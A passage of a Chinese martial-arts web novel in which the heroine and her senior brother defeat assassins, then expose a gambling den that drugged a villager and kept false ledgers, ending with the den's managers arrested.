今日孟归芸又来找宏安,江元郁静静地瞧着,这修行能力确实让人惊讶,如今都开始学习制作丹药了。
他于习武一道上确实很有天赋,师父每每都要夸赞他的进步,但于丹药这一块儿,能学会,但不似练武这般得心应手。他无心于此,师父也从不逼他。
师妹却与植物格外亲和,对各种植物的药效作用都能信手拈来,炼丹制药仿佛是她与生俱来的本领,师父稍一点拨,她就能举一反三。
孟归芸见他总是盯着自己,想着他也躺了许多天了,中了这毒也不能随意运气,连着房间门都没出过,是不是总看着自己修炼,有些心痒。
炼丹虽然需以气催化,但制药大多都不需要,便邀请他一起来:“师兄,你要不要一起练习制药,我听师父说,你如今会制的药跟我差不多,正好可以一起。”
宏安一听这话立马转头了,肩膀一耸一耸的。
江元郁感觉毒药好像没祛干净,怎么有点想吐血,他跟随师父修道都已经六年了,说什么会制的药跟她差不多,虽然事实确是这样。
但能看出,师妹并没有取笑自己的意思,是真心邀请自己一起的,好吧,反正自己现在也没什么事,精进一下技能总是没错的。
孟归芸又有了那种被窥视的感觉,但连着几日他们都没有行动,师徒三人都不确定,这些人是针对孟归芸还是江元郁的。
若是林府一直有人来,下一次不知道对方会有多少人,有多少实力,孟归芸还是有些担心林家人的安全,也不想让他们一直烦忧,偏偏大舅那边的进展也不顺利,一时半会儿拿胡家根本没有办法。
虽然自己如今已有武功,但以自己目前的实力,一个人去杀了胡家所有人也不现实,先不说胡家实力如何,天子脚下,官员被屠全家是大事,不说皇上要彻查
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,各个官员因为担忧自己也会倾尽全力,到时候林家也保不齐被牵连。
江元郁也担心自己会连累林家,主动提出要离开,毕竟如今身体已经恢复,他本想再多同师父师妹相处一点时间,看来不是时候。
孟归芸一听,决定也搬出林府,她知道林家在二十里外有个庄子,便去找了老太太,说要搬去庄子。
老太太只叹着气答应了,她知道如今孟归芸有自己的主意和考虑,还有了一身本事,又有宏安护着,跟着宏安比在林家不知道安全多少。她纵然心疼孟归芸,也明白自己该放手。
魏曼菁和林安和是不愿的,但拗不过老太太和孟归芸,孟归芸也不放心林家,虽说自己走了,能带走胡氏的大部分火力,但整个林家仍然十分危险,孟归芸让舅舅再多招些护院,或是招揽一些有本事的门客,日常巡逻也盯紧一些。
师徒三人从林府出发那天,选在了大白天,十分高调,老太太和其他人都出来送行了。
林安和在看到江元郁的那一刻,有些愣住了,他就是孟归芸师兄?
江元郁撇开头,这真没办法避免碰面,他出面也是为了把人引走,也没办法不让林家人来送师妹。
孟归芸只顾着安抚大舅母,压根儿没注意大舅和师兄之间的微妙气氛。
庄子本就是林家买来散心的,魏曼菁告诉孟归芸,庄子上人也不多,就五六个人,只让他们平日里维护着庄子。
到了庄子后,陪同孟归芸一起来的林管家,将庄子上的仆人都一起带回了林家,表小姐特意嘱咐了庄子上不留人。
孟归芸能感觉到,本来在林府盯着的那些人,都跟过来了。
当天夜里,这群人便按捺不住,朝着孟归芸的屋子包围而来。
莲夏有点紧张,小姐从那日得了玉龙以后,让人从外面给她也买了一把小巧的匕首回来,说匕首于她而言更好操作,也更隐蔽,不知道今天晚上她能帮上小姐吗。
窗户纸被捅开一个小口,随后一阵轻烟吹进来,孟归芸立马往莲夏和自己嘴里塞了药丸。
随即移动到守在门后,隐藏自己的气息,为首的人一进来,她便直直一剑刺了过去,速度太快,那人根本来不及反应,便倒在地。
外面三人一看情况不对,其中一人立马一脚将门踢开,只见一要杀的女子立在门口两米处,旁边躺着同伴的尸体。
一人对另外两人使了使眼色,两人冲进来,另一人从窗户处翻进来,三人想将孟归芸包围住。
哪知孟归芸并未给他们半点时间,在门口两人冲进来时,便提剑迎战,白龙带着元气而来,顷刻间两人便倒地了。
回头一看,莲夏正拿着匕首,从角落刺向奔孟归芸而来的另一名刺客,那刺客忽有所觉,回头将刀砍向莲夏,莲夏堪堪躲过,刺客正待继续挥刀,身形突然顿住,头缓缓朝下看去,一柄长剑刺穿了他的心脏。
10. 出发
莲夏瘫倒在地,吓的,上次只是看见了尸体,这次直接看见了杀人。
门口响起拍手的声音,孟归芸回头一看,是师兄。
江元郁亲眼看着师妹将这些人都解决了,她面无表情,也没有感受她有害怕或是兴奋的情绪波动,好似她只是做了一件很平常的事。
“师妹,好漂亮的剑法,出剑迅速,收剑利落。”没有半点花架子,当初他为了显得潇洒帅气,十分注意用剑姿势,收剑的角度都设计了好久……
“谢谢师兄,还请师兄帮我一起处理一下尸体,莲夏有些吓着了,我想让她休息会儿。”
江元郁与她一起将尸体抬了出去,月光下,她的身上又罩上了朦胧的光,比他矮上不少的身形,弯腰在铲土,看起来小小一团。
江元郁有些不好受,仿佛看到了当初躺在一堆尸体旁边年幼的自己,不知道是在心疼自己还是她。
想到这,江元郁开始卖力地铲土,赶紧把坑挖出来吧,不管是心疼谁,两个人都能去休息了。
树影斑驳,蝉鸣声声,孟归芸搬了两张躺椅出来,她和师父摇着扇子,看莲夏和师兄在切菜,这丫头从小就跟在她身边,做菜什么的一概不会,还得师兄指导她,这几天还有点像样了。
本来她也想去帮忙的,其他三个人都不同意。
莲夏:“有我在,这些杂事怎么能让小姐动手呢?”
宏安:“让你师兄做,他从小就在外闯荡,这些事儿他熟。”
江元郁:“师妹,让我来就好。”虽然师父说的话有些偏心,但师妹救了他,救命之恩,当……涌泉相报。
宏安心里也舒坦,终于可以不用每天伪装了,但他也没再做一开始的道士打扮,只与江元郁一样做了不起眼的装扮。
宏安想了想,转头看向旁边:“归芸,你继母三次铩羽而归,应该暂时不会轻举妄动了。我本想着等你开窍大圆满了再带你出去游历,你家里人也安心一些,但现下已经离开林家,要不明天咱们就出发吧。”
孟归芸摇着扇子手慢了下来,离开前她去问过大舅,胡家现在的情况,大舅说,户部尚书已年过六旬,已呈书皇上,想要告老还乡。
皇上按住了奏折,下一任户部尚书该由谁来做,拖着迟迟未定,胡家背靠首辅,十分有希望,这个时间点是半点岔子也不能出。想来胡氏三番两次派人来刺杀,皆是她自己的决定,也不知道这事儿能不能牵制住她。
便道:“也好,从前一直待在家里,只能通过看书了解这世间万物,但终归是别人的见识,我也该亲自踏上这路,有自己的感悟。只是我实在担心胡氏会因为找不到我,把火转到了林家。”
江元郁手中菜刀不停:“这你不用担心,这胡氏三次刺杀的目标都是你,而不是林家其他人。想来一是顾及着林家的身份,二是因为你姓孟。她如今是孟府的女主人,她做的事情既已败露,万不会再让你回到孟府,更别说让你回到孟府嫁人,有了自己的夫家作支撑。两家都是在冯首辅底下做事,林家至今没有动作,胡家势力却如日中天,她定也觉得林家不会因为一个已死的外嫁女和一个外姓孙女,与他们作对。”
手无意识的停了下来,孟归芸想着师兄说的话:“离开前,我们再回一趟林家吧,这事儿怎么也得亲自跟老太太说一声。至于胡氏那边,师兄说得对,但为了保证胡氏不再出手,还需得让大舅去首辅那边说说。”
林家看在首辅的面上,并未为难胡家,这胡氏却一而再再而三地派人来,兔子急了还要咬人,要是他们再不收手,林家便是掀了家底儿也是要闹到皇上面前的。
让大舅去首辅那边闹上一闹,也是示弱,在林家找到能将他们一举拉下马的机会前,需得忍耐。
宽敞的官道上,三三两两的行人路过时都忍不住望向路边,两名女子歪歪扭扭的骑着马。
今日是孟归芸和莲夏第一次骑马,好在两人都有武学底子,在江元郁和宏安的指导下,慢慢也就会随着马儿的步伐控制自己身体的节奏了,只还不太熟练,只能慢慢前行。
好在他们也不赶时间,向着南边一路走去,看着城外的风景也觉得舒心。
路上走走停停,这半月师父和师兄带着孟归芸看了不少好景色,也吃了不少美食,莲夏每日都笑嘻嘻的,孟归芸有一种不真实的幸福感。
太阳已斜斜落下,前方依稀可见一群村落,四人赶在天完全黑下之前进了村子,村民家里渐渐开始点起了灯,时不时能听见屋里传来一声小孩的笑闹。
前方一处较空旷的地方,盖了一间青瓦房,主人家应是村子里比较富庶的人家,或许有能借住的地方,江元郁打算去敲门问问。
等了好一会儿,才见门缝处有一个小孩在往外看。
江元郁蹲下身子,放缓了声音:“小/弟弟,我们是路过想借宿的,只有你一个人在家吗?”
门内的小孩没有回答,转身跑了,又过了一会儿,传来一位女子怯怯的声音:“抱歉,家中实在没有什么能招待各位的了,还请上别处问问。”
孟归芸走到门口:“这位姐姐,我们自带了些干粮,只需要借用多余的屋子住一晚,也会付你银钱。打进了村子,就看见你这儿宽敞些,能否行个方便?”
片刻后,门终于打开了,年轻的妇人身上的衣服洗得褪了色,隐约还能看见原来应是一匹不错的绸布,妇人低头看向身侧,一个小男孩紧紧地抱着她的腿,脸上带着些好奇,还有一点惊恐。
妇人抬起了头,脸色有点蜡黄,神色也有些不安:“几位需要几间房?”
孟归芸从莲夏手里接过一粒碎银子,递给了她:“多谢姐姐,两间房就可。”
“姑娘客气了,我姓宋,叫我宋娘子就行,这边跟我来吧。”宋娘子收下银子,手心紧了紧,又看了一眼男孩,安抚般摸了摸他头。
家中似好久没人打扫了,院中还有些凌乱,罐子簸箕都东倒西歪的散着,面上覆着一层灰,还有些陶器的碎片。
宋娘子并没有多解释,只将他们领到两间房外:“这里许久没有人住过了,有些灰,需要打扫一下,水缸就在刚才的院子里,还请见谅,我去抱几床被子过来。”
孟归芸对她笑笑:“本就是我们打扰了,麻烦你了。”
宋娘子摇摇头,带着男孩走了,莲夏和江元郁一人在门口找了盆,去院子打水回来,几人将要用到的地方擦了干净。
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今日赶了一天的路,四人早早就歇下了,莲夏正做着梦,被一阵拍门声惊醒了,坐起来一看,小姐已经穿好外衣走到门口了。
孟归芸打开门,只见江元郁也正好出来,拍门声已变成了撞门声,门外还有人在叫喊着,两人对视一眼,向门口走去。
“砰!”木门倒在了地上,几个身材粗壮的男子闯了进来:“人呢?赶紧出来!赶了一晚上的路,也不知道给大爷们倒碗水喝。”
“三哥,这宋小娘子怕是还在等他相公呢。”
“哈哈哈哈,还等她相公做甚。难道她不知道她相公已经把她卖给我们了。”
“三哥说得对!”屋外响起一阵应和之声。
几人边喊边往主屋走去,主屋的门紧紧闭着,为首的络腮胡子抬脚便想再踹。
“啊!”一枚鹅卵石大的石头不知从何处飞来,击中络腮胡子的脚踝处,疼得他喊出了声。其他几人忙向周围看去,见一灰衣男子和黄衣女子从墙角处走出。
“你们是什么人!竟敢坏来我们的事。”旁边的狗腿子朝着孟归芸两人嚷道。
孟归芸并不搭话,莲步轻移,几息间到了几人面前。还未等几人做好防御,便将他们打飞了出去,一时间惨叫声响起。
门内的宋娘子连忙将门打开:“姑娘,你怎么出来了?他们没伤着你吧?”
“无事,伤着的是他们。”孟归芸淡然回道。
“宋巧娘!欠债还钱,天经地义!你丈夫欠了我们赌坊的钱,不仅将你们这宅子押给了我们,还将你也卖给我们了。”络腮胡子朝着宋娘子喊道。
宋娘子一听,人都怔住了,眼泪也忍不住就掉了下来。男孩从屋里跑出来,将袖子往上递:“娘,别哭。”
宋娘子蹲下身来抱住男孩:“他怎么如此狠心,将家里的钱财都拿走了,如今还把主意打到我头上,阿福还这么小,他怎么可以这样……”
“少废话,赶紧跟我们走!别担心你儿子了,说不定下一个就是他了。”爬起来的一个眯缝着眼的狗腿子打断了宋娘子的低泣。
“啊!”又是一声惨叫,说话的男子捂着嘴,有血顺着他的手指缝流出来。一直站在旁边的江元郁动了手,连带在另外几名狗腿子也在几息间被再次放倒在地。
络腮胡子一惊,之前可以当做几人不备被偷袭了。可是刚刚几个手下已经有了准备,居然还被轻易打倒在地,这两个人,武功怕是有些厉害。
但一时间又放不下面子,于是沉声问道“两位朋友是哪条道上的?不若亮个门道?在下是这晴隆县银勾赌坊罗三,受我家大哥震山西刘合的信任,执掌这县城赌坊诸事。”
“我管你什么罗三刘四,我数三个数,再不滚的话,你们便不用走了,一。”一旁的孟归芸没有做声,任凭江元郁处理这事。
“朋友,都是出来混的。。。”络腮胡子罗三还想再说。
“二!”
江元郁吐气开声,随之脚步提起略微向前,气势升腾之间,竟然卷起地上的枯叶。
“好好好,山不转水转,总有再相逢的时候!”络腮胡子撂下狠话,干净利落的转身便撤。几名狗腿子也相互搀扶着,快步跑出庄子。
11. 宋娘子
正堂里,天色依旧暗着,桌上只点了一盏灯,油已经不多了,散出的光摇摇晃晃,仿佛随时都要熄了。
宋娘子环抱着阿福,眼里还有着未落完的泪水,说着家里的事儿。
宋娘子的相公叫赵全,父母是这赵家庄的人,也是勤快人,原本在晴隆县里做些小生意,后来都因病去世了,但还算有些家底。
赵全与他父母一样,手脚勤快,为人也还算机灵,这生意竟还比之前做得好了些。娶了宋巧娘回来,两人日子过得不错,生下了阿福后,赵全十分高兴,做起生意来更是忙碌了。
后来便被村子里几个地痞看上了,先是借着给赵全介绍生意的的由头,拉他一起玩,还真给他成了几个小生意,赵全对他们也就多了几分信任。
随后便开始把赵全往那银勾赌坊带,一开始赢了些钱,宋娘子也劝他,多少人家就毁在这赌坊了,赵全也听进去了,便不想再去了。
眼见着都上钩了,那伙人哪会放过这条大鱼,来到赵全店里,将客人赶了出去,半是利诱半是威逼,拉着赵全去赌坊。渐渐的,赵全陷在这银勾赌坊,竟是出不去了。
赵全开始整日整日地待在赌坊,先是将店抵押给了赌坊,后来又将家里的钱财都陆续拿了去,值钱的东西都被典当或者抵押了。
但宋娘子想着从前相处的种种,仍是对他抱有一丝希望,带着阿福苦苦守着这个家。
昨个江元郁敲门时,她还以为又是来要债的,但这敲门声并不重,阿福想着爹爹都好久没回家了,会不会是爹爹,绕过她偷偷去门口看了,才知道是过路的人。
家里如今这情形,如何能招待客人,要是再遇见催债的,岂不是还给别人添了麻烦。但他们家确实是这附近条件比较好的人家,寻常农户要有几间空房也不容易。
孟归芸几人衣着干净整洁,牵着马匹,说话温和有礼,一看就不是普通人家,且还说会给银钱。
宋娘子看着阿福如今瘦弱的样子,家里米已经见底了,多亏了村里的婶子们好心,时不时给她娘儿俩拿点吃的,不然恐怕她根本坚持不下去,她需要这银钱。
这一粒银子按说给多了不少,但她已经没有勇气推却。谁成想那伙人竟半夜来了,还是连累了他们。
孟归芸看了一眼师父,宏安点点头,示意由她来解决。
她思衬着,这宋娘子如此情形,仍旧帮了他们给了一个落脚之地。在她出手解决来要债的人时,宋娘子担心牵连到她,没有半点犹豫就拉开了紧闭的房门。
她出声道:“宋娘子,我们这趟也正打算去往晴隆县,若你还相信你相公,我们便去县里帮你问一问你相公如今的情况。”
宋娘子却摇了摇头:“方才你们出手,我已经感激不尽,但这本是我的家事,几位住在这儿,给了我远超这借宿的银子,我也厚着脸皮收下了,怎么还有脸再求你们办事。如今我和这宅子也被他抵押了,若我真的跟着他们走了,阿福一个人也活不了。我也没有娘家可回,已打算带着阿福搬到别的地儿去,即使路上要饭也好,也还有条活路。”
孟归芸走到她面前,俯身摸着阿福的头:“宋娘子,阿福还小,如今身子也弱,怎受得这一路的奔波之苦。你方才也看见我和师兄的本事了,且相信我们,我们也定不会以身涉险,会保护好自己的。你拿着银子给阿福买点好吃的,在家安心等我们。”
宋娘子看着孟归芸,眼里闪过一丝亮光,随即低下头,看着阿福,过了好一会儿,才似有些难堪的点了点头。
孟归芸冲盯着她的阿福笑笑:“阿福是个男子汉了,好好照顾你娘。”
阿福用力的点点头,回抱住了宋娘子。
从晴隆县到赵家庄有四十里的样子,要债的几人半下午才从赌坊出发,到了赵家也就半夜了,本来想就在宅子里休息一晚,第二天早上再带着宋娘子和房契回去,哪成想遇到这事儿,只能半夜又腿儿着回去了。
银勾赌坊里,罗三正向刘合报告着赵家发生的事儿:“那两人武功实在是厉害,我们连他们边儿都挨不着,只能先回来了。不过看他们样子,也不像跟赵家相熟,应该是路过借宿的。”
刘合没说话,只斜了罗三一眼,罗三立马低下头:“我明天一早就带上几个武功好的火将,再去一趟赵家,必把房契和那宋娘子给带回来。”
刘合点点头,罗三便躬身下去了。
要说这事儿本也不该罗三去,只他之前在赵全的店里见过宋娘子,被赵全养得细皮嫩肉的,长得有几分姿色,心里有些痒痒,就将事儿拖给了另一名坊管张忠,自己带着火将去了。
但这事儿在他手上黄了,他必须找回来,不然他这坊管也别当了。心里没当回事儿,不过是个小插曲,等借宿的几人走了,这房契和人都得回来。
赌坊里没有窗户,点了灯也不如外头光线强烈,忽然房间里一亮,门口的小二掀了帘子,引进来两名年轻公子。
二人皆着锦袍,头束冠玉,赌坊里充满了人们兴奋的呼喊,高一些的公子神色略有些不耐,另一名矮一点的公子正拉着他央求:“哥,你就让我玩几局吧,在家爹都管着我,我好久都没摸牌了,难受死了。”
江元郁心道,被师妹撒娇的感觉还不赖,语气就软了几分:“你啊,总也戒不掉,我说这次来晴隆县办事,你怎么这么积极的要跟来,原来打的是这主意。说好只玩儿五局,晚了回去我定告诉爹。”
“好好好,哥对我最好了!小二,去包房,玩儿叶子牌!”
两人目光略过赌坊大厅,跟着小二朝着二楼走去。
这小二与二楼守着的小二低声说了几句,其中一名小二便接着引他们进了一间包房,门一关上,便安静了许多。
里面已有四人正在玩牌,小二上前去与包厢的牌手交接,牌手又与其中一位客人低声说了几句,那人便道:“这下有人来凑局了,我就不陪你们了,打完这局,我去推牌九咯。”
待那人走后,孟归芸便坐了过去,江元郁在旁边看着她。
孟归芸刚才看了一局
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,将江元郁路上与她说的结合起来,又观察了下几个人的习惯,玩起来这架势还真像个老手。
看她赢了四局了,江元郁便借口要去如厕,让小二带他去了,一路上观察了下赌坊里面的布局,也就两层楼,不知地下是否还有空间。
每到一处皆有人看着,且每一处的人不能随意变换位置,只能一个接一个的传下去。
江元郁故意待久了些,回去时孟归芸已打了不止五局,钱也输了不少,他怒气冲冲地拿走了孟归芸手里的牌:“还玩儿,说好的五局,走了!”
说罢拉起孟归芸就要往外走,门口的小二拦住了他们。
牌桌上的另外三人有些生气:“这一局还没完呢!你这人怎么回事儿啊?”
“是啊,有没有牌品啊,况且你弟弟还欠着钱呢!”
“要想走,先把钱给了!”
江元郁望向孟归芸:“你身上不是带了一百两吗?钱呢?”
孟归芸怯懦着:“都……都输完了”。
“不仅输完了,如今倒欠着我们呢!”
江元郁回头:“欠了多少?”
“五百八十两!”
“五百八十两?你们抢钱呢!我刚才出去的时候你们一局也就十两的赌注。”
“是啊,之后我们看你弟弟玩得不过/瘾,提出玩把大的,你弟弟可是亲口同意了的。”
江元郁紧紧盯着她,孟归芸抬头看了一眼便低着头不吭声了。
江元郁闭了闭眼:“各位,既是我弟弟答应了的,这钱我认了。只我们来这晴隆县是为了谈生意的,如今钱都交了定金了,我身上也不过还剩下一百七十两银子。我们兄弟俩头上这玉虽然成色一般,但加起来也值二百两银子,我愿立下字据,这剩下的钱还请准我们回家取了钱后再送过来。”
“我们都不认识你们,万一你们随便报个假地址跑了,我们岂不是人财两空。”
“你们可以派人随我们一起。”
“你们若是在晴隆县也就罢了,随你们去别的地儿,这风险我们担不起。”
“这样吧,你弟弟留下,我们给你三天时间,三天内,你把钱带来,保你弟弟在这儿吃好喝好,让你安然无恙的带回去。”
“我弟弟年幼,我怎可留他一人在此。此行管家与我们一起,住在福来客栈,我与他修书一封,你们将这荷包一起带给他,他取钱后会来赎我们的。”
赌坊的人在福来客栈找到了宏安,回来后,便有人将两人带到了二楼拐角后最靠边的一间房里,派了两人守在门口。
两个人提前打听了,赌坊每日子时会休整两个时辰,直到寅时又重新开业。
估摸着时间也快到子时了,听着外面声音渐渐小了,孟归芸悄悄往外吹了一阵儿轻烟,掐着时间将门打开,接住了门口晕倒的守门人,将他们拖进去,换成了他们的样子。
孟归芸留在门口守着,以免还有赌坊的人过来,江元郁常在外走,对这些地方的布局比较熟悉,便让他去找赵全。
12. 赌坊
刚打烊,这会儿赌坊里的人开始例行检查各处是否有异常,向罗三报告了以后,便都松懈了下来,灯熄了大半,各处的人也撤了不少,只有几个位置还有人守着,应该是些比较重要的地方。
罗三想着一早还得去赵家庄,吩咐了几句也去休息了。
江元郁在柱子后面偷偷观察着,发现一楼楼梯后面还有个隐秘的拐角,黑漆漆的。他运气将斜对角的木桶震到了地上,吸引面前这两人注意,趁机摸了过去。
拐角后面有一道门,这门的颜色与墙面十分接近,本来这处光线就暗,不仔细瞧,根本看不见。他在门缝处仔细塞了点细布条,以免发出太大的声音,慢慢将门打开一条小缝,将改良过的蒙汗药运气送了进去,关上了门。
吃了解药,将脸蒙住,又等了片刻,才小心着重新将门打开,侧身钻了进去。
里面不大,中间摆了一张桌子,一个人趴在上面,看来是被迷晕了。
江元郁靠近他,他身下压着什么册子,拿起来一看,是账本,看来这里是账房。
但大成国允许合法运营赌坊,这账房整这么隐秘,肯定还有什么秘密。
这账册下面还有一本什么?
竟是两本账册,将两本一对比,原来是准备了阴阳账本,给官府那边做了假账。
这桌子后面还有一排书架,上面摆了好些册子,下面放着一个带锁的箱子,江元郁随意翻了翻,这些摆在外面的,基本都是可以公开的账册和日常记录。
又将箱子撬开,里面的多是些陈年账册,但也都还比较正常,看来以往的真实账本被单独存放了起来。
墙面挨个查看了都很平整,江元郁继续在书架上寻找着,一番摸索后,终于在几本书后面摸到了一个小小的开关。
随着开关按下,书架右下角的格子向旁边移开,一个暗洞显了出来,他伸手进去,果然摸到一摞书册,拿出来一看,就是以往的真实账本,忙将其中两册揣进了怀里。
将所有的痕迹抹除,江元郁退了出来,还得赶紧找到赵全。
他想了想,往罗三休息的方向摸了过去,果然在一楼大厅后面的其中一间房里,找到了赵全。
房间里用栅栏隔了好几个隔间,每个隔间都有一到两人,刚才将他们连带看守的人都迷晕了,此刻江元郁正拿了解药给赵全闻。
赵全被打得鼻青脸肿的,迷迷糊糊醒来,看见是身穿赌坊衣服的人,连忙开口求饶:“大人!求求你放过我妻子吧,我一定会赚钱还给你的,求求你……”
江元郁连忙点了他的哑穴,这赵全牙齿被打掉了几颗,说话都漏风:“你小声点,听我说,我是受宋娘子所托,前来看你的。你刚才的话是什么意思,不是你将宋娘子卖了的?”
解了穴的赵全压低了声音,带着哭腔:“巧娘……我对不起巧娘……当初巧娘劝我,我其实是听进去了的,也下定决心不再与他们来往,可他们三番两次来找我,还搅了我店里的生意。我本想着家里也就我们三人,到哪儿不是生活,大不了换个地方重头开始。但我还没来得及跟巧娘说这件事,那天赌坊的人又来了,身上带着一股奇怪的味道,后来我清醒的时候已经在赌桌上输了好多了。”
赵全抬起脏得发黑的袖子擦了擦眼泪:“我本想将铺子抵给他们,让他们放我回去,谁知他们竟不让我走,那坊管罗三直说我的铺子如今根本值不了这么多钱,除非把巧娘一起抵了。我一听就拒绝了,他们就将我好一通打,随即罗三又向身旁的人使了个眼色,那人拿着什么东西向我靠近,我又闻到了之前那个味道,随后的事我都不记得了。”
“再次清醒的时候,我又在赌坊大厅里,周围的人都看着我在这好多天了,输了许多钱也不走。我一直跟他们说我被下药了,根本没人听,大家都说亲眼看见我赌得上头。然后他们就将我带到这个房间,逼我签字画押,我只同意将房子给他们,他们便强行抓着我按了手印,按完还又把我打了一顿。”
江元郁看着赵全痛哭流涕的样子,没时间多说:“你暂且先在这里待着,别透露我来过的事儿,我出去再想办法将你救出来。”
赵全忙点头:“大侠,我知道的!”
看着江元郁出去了,赵全忙也躺下装晕。
天亮了罗三就得去赵家,不如把动静整大点,让他们自顾不暇,拖点时间。江元郁回到房间之前,将楼上楼下所有看守的人都迷晕了,还把他们身上的钱都摸了出来,又将衣服换了回来,将他们房间那两人搬了出去靠在门口。
江元郁一手把钱拿给孟归芸,一边将赵全说的话告诉了她,随后又将册子拿给了她。
本来按计划师父应是第三日才来赎他们,也是要给那赵全一点教训,即使想办法将他带走,也得看他有没有悔过之心,若是还想着再赌,不如就说他死了,让宋娘子也死了心,带着孩子搬家。现下得知这赵全竟是被药物控制了,那这时间也可再提前一日,再提前对方就会起疑心了。
想到这,孟归芸对江元郁道:“师兄,距离他们醒来至少还有半个时辰,我去与师父说一声,让他明日下午就过来。我再将莲夏带来换你,你趁这两日去查查晴隆县知县是不是跟这赌坊老板有勾结,如果没有,你等师父来了半个时辰后,再将此事告知官府。”
“那师妹你呢?”
“我想以彼之道还彼之身,让他们也尝尝这感觉,再断了他们这后路。”
江元郁本想问问如果官府的人和赌坊有勾结又如何,但转念一想,就算师妹的谋划出了岔子,难道自己还护不住了?就瞧瞧她待如何处置吧,也好再了解师妹一些。
“好,那就听师妹你的!”
待赌坊的人醒来,都乱套了,都在喊着“我的钱!”。
但罗三没心思去找钱,更没心思去赵家,这账册丢了,找不回来,别说这坊管的位置还坐不坐得住,脑袋都得搬家了!
当即下令严守赌坊,一个都不能出去,挨个房间查找,挨个搜身。又想到了楼上两人,开门进去,两人还睡得死死的,搜了房间和身上都没找到便出去了。
这么大动静,早有人去禀告了刘合,这次刘合没忍住,将罗三打了一顿,随后让张忠盯着他去找账册,勒令他三天内找回来,赌坊也暂停营业了,以免有人混入交接。
两日后,孟归芸伪装的管家带着小厮江元郁,急急
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拿着钱来赌坊了,为什么不是宏安?宏安说:“既然这是你的计划,不如就让你来吧。”
孟归芸很痛快地答应了,那天装成公子去赌坊,让她十分新奇,这演戏的感觉还不错。
于是她和江元郁成了管家和小厮,宏安和莲夏成了房间里的兄弟。
这是肥羊,张忠和罗三都出来了,随着孟归芸将银票从怀里拿出来,周围的人都闻到一阵微弱的草药味,还没引起注意,便又没了,眼神都聚在银票上。
“诸位,我今天是来赎我家两位公子的,这是银票,一分不少。”
张忠正准备伸手去接,孟归芸手一缩:“还请将我家公子放出来,我得先见到人。”
张忠手一挥,便有人去将宏安和莲夏带了下来。
孟归芸神色略显激动:“大公子二公子,你们没事儿吧?老奴来接你们了!”
宏安淡定道:“没事,两位管事都没有亏待我们。”
莲夏看着孟归芸这样,有些不习惯,但还是强装镇定。
孟归芸正要带着江元郁上前去接他们二人,却被旁边的罗三拦住了:“我说,你都听到了,你家公子在我们这好吃好喝的住着,怎么着也得给钱啊。”
张忠看着罗三,这罗三,狗改不了吃屎,如今都这样了还想着坑人,但他看着看着,竟开始觉得罗三说得没错,周围的人也开始附和:“就是啊!住客栈还得给钱呢!”
孟归芸面露惊讶,但随即又恢复正常:“是我考虑不周,如此,我再加二十两,作为我家两位公子的在这儿两日的食宿费。”
只那罗三并不满足,他捅了这么大篓子,必须得挽回一点损失,至少留条命。他竖起两根手指:“二十两?你打发叫花子呢!二百两,将钱交了,你们就可以走了。”
孟归芸一脸不可置信,伸手指着他:“晴隆县最好的福来客栈,一间上房也就一两银子,我已成倍的给了,你们竟还不知足!”
罗三手一挥:“少跟我废话,不给钱,你就别想带他们走。”
莲夏看孟归芸演得这样好,心道自己也不能拖后腿,便喊着:“孟叔,救我们啊!”
“可我……我一个奴仆,哪儿来这么多钱啊!”
“既然这样,你别忘了我们这儿是做什么的,那就来三局,若你赢了,他们俩你带走,输了,你就滚回去再取五百两来赎他们。”
孟归芸撇撇嘴:“怎么还成五百两了?况且这里都是你们的人,万一你们出千我岂不是只能吃哑巴亏。”
罗三相当自信:“你们的人可以检查牌桌道具,也可以搜身,玩什么也由你定。”
孟归芸面上无奈:“其他的我都不会,只有摇骰子见他们玩过几回,还算了解。”
“别说我欺负你,那就最简单的猜大小吧。”
宏安踏出一步,对着众人说:“我来当骰子手,舍弟来检查吧,让你们的人都走远些,离这个桌子两尺距离。”
张忠轻笑一声,这罗三虽然有些鲁莽,可他的千术也是顶顶好的,再加上这桌子和所有的道具,都是特殊加工过的,只有自己人才知道怎么玩儿,这几个愣头青加一个老头子对上他,有得被耍。
13. 赢了
第一局,罗三赢了,抱着戏耍他们的心态,第二局故意放了水,让孟归芸赢了。彼此都知道,重头戏就在这最后一场。
在场的人都紧盯着牌桌上的动静,没有人注意到,那个管家带来的小厮什么时候不见了。
六只骰子在骰盅里摇晃,发出令人着迷的声响,众人的目光皆随着宏安的手晃动。
“砰。”骰盅放在了桌子上。
罗三盯着孟归芸,目光带着自信,孟归芸回望他,说道:“小。”
罗三哈哈一笑:“那我就大!”边说话,他边操作着桌下隐蔽的机关。
随着宏安的一声:“开”,众人又将目光汇聚到骰盅,六粒骰子整齐的堆叠着,六个一。
罗三脸上自信又带着恶意的笑容,逐渐变成震惊,再到暴怒:“怎么可能!你出千!”
周围也响起其他人不可置信的声音,张忠更是上前一步,正是因为他清楚自己这边的实力,如今更不敢相信,面露凶光。
孟归芸充耳不闻,问道:“为什么不可能?你为什么这么笃定呢?难道你出千了?”
此时的罗三和张忠哪还有心情跟她掰扯,直接一声令下要将他们抓起来。
周围人情绪激动地围了上来,孟归芸将桌子一掀,转身抬腿朝后面一扫,踢出去三个人。
正待继续出手,耳朵一动,看着有人过来打她,顺势就倒在地上了,随着几个翻滚,躲掉了攻击。
莲夏扑了过去:“孟叔!”
“住手!”
一群衙役鱼贯而入,这群人似没有听见他们的叫喊,还在疯狂朝着三人进攻。
孟归芸拉着莲夏就往衙役身后躲:“大人!救命啊!”,宏安也跟了过来。
赌坊的人转身就朝着衙役打去,这可惹恼了带头的陈捕头:“张忠罗三!还不快叫你们的人停下!”
张忠仿佛才反应过来,原本因为激动发红的眼睛渐渐清明,情绪也平缓了下来,慌忙叫道:“都住手!”
好在这些人对他的声音很熟悉,都停了手,只面上的表情还都十分愤怒,张忠又慌忙跑到陈捕头面前:“陈捕头,什么风把您吹来了?”
陈捕头眼睛一横,推开靠近身前的张忠,喝道:“少特么跟我套近乎!你们的事发了!按照我朝律例,赌坊私造账本者,皆为重罪!甲班衙役,还不把罗三、张忠二人拿下!”
一旁的罗三一听陈捕头的话,吓得腿脚一软,这丢失的账册竟然落到了官府手里,还未瘫倒便被一名近身的衙役提住领子,随后用锁链锁了手腕。
张忠回头狠狠的剜了孟归芸几人一眼,回想起自己异常的情绪,心知这事肯定与这几人脱不了干系!奈何如今已被衙役捉拿,为时已晚,只能盼着大哥刘合能救自己等人出来了。
陈捕头似瞧破了张忠的念头,冷哼一声道:“张忠,你还是自求多福,别想着刘合能来救你了!王总捕头已经亲自带人去抓他了。”
